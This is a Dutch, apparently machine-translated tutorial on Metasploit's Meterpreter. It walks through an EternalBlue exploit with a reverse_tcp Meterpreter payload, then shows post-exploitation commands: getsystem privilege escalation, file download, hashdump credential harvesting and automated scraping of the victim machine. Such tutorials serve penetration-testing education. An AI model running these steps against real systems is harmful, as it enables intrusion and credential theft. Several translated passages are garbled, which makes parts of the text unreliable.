Phenquestions
Inleiding tot Meterpreter
Meterpreter is een aanvalslading in het Metasploit-framework waarmee de dader de computer van het slachtoffer kan besturen en navigeren via een opdrachtshell. Het kan een zeer veelzijdig hulpmiddel blijken te zijn als het gaat om penetratietesten. Het is een post-exploitatietool die is gebaseerd op in-memory DLL-injectie, wat betekent dat de geïnjecteerde DLL wordt uitgevoerd door een nieuw proces te creëren dat het systeem vraagt om de geïnjecteerde DLL uit te voeren. Het kan u toegang geven tot een onzichtbare opdrachtshell op een slachtoffermachine, waardoor u uitvoerbare bestanden en profielnetwerken kunt uitvoeren.
Het is oorspronkelijk geschreven voor Metasploit 2.x en is geüpgraded voor Metasploit 3.
We zullen het gebruik van Meterpreter in detail bespreken, maar laten we eerst iets zeggen over payloads in het algemeen
Wat zijn nuttige ladingen??
Payloads in Metasploit zijn modules, wat betekent dat het fragmenten zijn van codes binnen Metasploit die worden uitgevoerd op het externe systeem waarop we ons richten. De exploit-module wordt eerst verzonden, die de payload-module op het systeem installeert. Dan geeft de payload toegang tot de aanvaller (beperkt of volwaardig, afhankelijk van de inhoud van de payload). Om de werking van payloads verder uit te werken, moeten we de typen ervan bespreken, die in totaal 3 zijn:
Singles
Deze payloads zijn volledig op zichzelf staand, wat betekent dat deze net zo eenvoudig kunnen zijn als poortwachtercodes waarmee de gebruiker een doelsysteem kan binnengaan.
Stagers
Stagers zijn payloads die applicaties binnen het doelsysteem verzamelen en naar de aanvaller sturen. Het brengt de verbinding tot stand tussen het slachtoffer en onze lokale machine.
Stadia
Zodra de stagers toegang hebben tot het systeem, downloaden ze de stage-modules. Stages-modules verwijderen de maatdop op de meterpreter.
Voorbeelden van fasen zijn een eenvoudige shell, iPhone 'ipwn'-shell, Meterpreter-modules, VNC-injectie.
U kunt het type lading bepalen door de naam ervan te achterhalen. Enkele payloads zijn meestal van het formaat
Exploitatie met Meterpreter
Start allereerst de msf-console door de volgende terminalopdracht in het Kali-terminalvenster te typen:.
$ sudo msfconsole
We gebruiken reverse_tcp als stager en Meterpreter als stage.
We beginnen met het opzetten van de Eternal Blue-exploit. Selecteer (ms17_010_eternalblue) en stel vervolgens windows/x64/meterpreter/reverse_tcp in als de geselecteerde payload
Configureer vervolgens de exploit-instellingen en voer vervolgens de exploit uit met de exploit-opdracht:
$ set payload windows/x64/meterpreter/reverse_tcp$ set rhost 192.168.198.136
$ exploiteren
De Eternalblue exploit is succesvol geactiveerd.
Post-uitbuiting
We openen en manipuleren het reeds gecompromitteerde systeem tijdens de post-exploitatie.
We kunnen een heleboel dingen doen nu we toegang hebben tot het systeem, maar zoals hierboven vermeld, moeten we ons vooral concentreren op het downloaden van informatie en het verkrijgen van gebruikersreferenties hier
Toegangsrechten beheren:
Afhankelijk van de payload-module en de exploit die je hebt gebruikt, kun je te maken krijgen met bepaalde toegangsbeperkingen die je mogelijkheden om de slachtoffermachine te manoeuvreren ernstig zullen verlammen. U kunt dit probleem omzeilen met escalatie van bevoegdheden door wachtwoorden te verwijderen en te knoeien met de registers. U kunt ook privileges escaleren door Meterpreter's get system -commando te gebruiken.
$ getsystem$ getuid
Bestandsoverdracht met Meterpreter
Met Meterpreter kunt u een bestand downloaden met de opdracht $download-.
$ download /windows/system32/drivers/etc/hosts
Op dezelfde manier kunt u ook informatie naar de machine uploaden, met behulp van $upload-commando
Gebruikersreferenties extraheren:
Gebruik codescript credential_collector om informatie over gebruikersaccounts te extraheren, of gebruik de hashdump-postmodule met een soortgelijk effect.
We zullen de hash dump post-module gebruiken om door te gaan met het oogsten van de inloggegevens. Typ de volgende msf-opdracht:.
$ run post/windows/gather/hashdump
Zoals we kunnen zien, hebben we de Coen-, gast- en beheerdersaccounts verkregen. De LM-hash (admin's) en de NTLM-hash (guest's) hebben betrekking op lege wachtwoorden, terwijl de Coen-hash een wachtwoord is dat u moet kraken. U kunt dit doen door een wachtwoordkraker te gebruiken.
Het systeemschrapen automatiseren
Het kan vervelend zijn om informatie te verzamelen met individuele invoerinstructies die u de opdrachtshell moet blijven geven. Handig is dat je dit proces enigszins kunt automatiseren met vineumscript. Het script verzamelt informatie van het slachtoffer en downloadt de gegevens naar onze lokale machine. U wordt verteld waar de uitvoer wordt opgeslagen, zoals u in de vierde regel van boven kunt zien:
$ run wineum
Houd er rekening mee dat het pad waar de uitvoer naar elke opdracht wordt opgeslagen, kan verschillen van het pad dat hier wordt weergegeven.
Nog een beetje rommelen
Bestanden uitvoeren
U kunt elk bestand op het systeem uitvoeren met: execute -f
Schermafbeeldingen maken
U kunt ook screenshots maken vanuit het oogpunt van de gebruiker. Typ gewoon screenshot in de opdrachtshell van de Meterpreter en je krijgt een screenshot van het scherm op het systeem.
$ execute -f calc.exe$ schermafbeelding
Conclusie:
Dit was een korte introductie tot de Meterpreter-plug-in in het Metasploit-framework, samen met een korte handleiding waarin de meest elementaire toepassingen worden getoond. We hebben hier geleerd hoe we een Windows OS-systeem kunnen doorbreken met Eternalblue exploit om toegang te krijgen, en vervolgens Meterpreter kunnen gebruiken om privileges te escaleren, handmatig informatie te verzamelen en door het vineus-commando te automatiseren. We hebben ook geleerd hoe we bestanden op de slachtoffermachine kunnen uitvoeren.
Meterpreter kan dienen als een aanzienlijk middel voor het detecteren van kwetsbaarheden, ondanks dat het een conglomeraat van basistools is binnen het raamwerk van Metasploit.
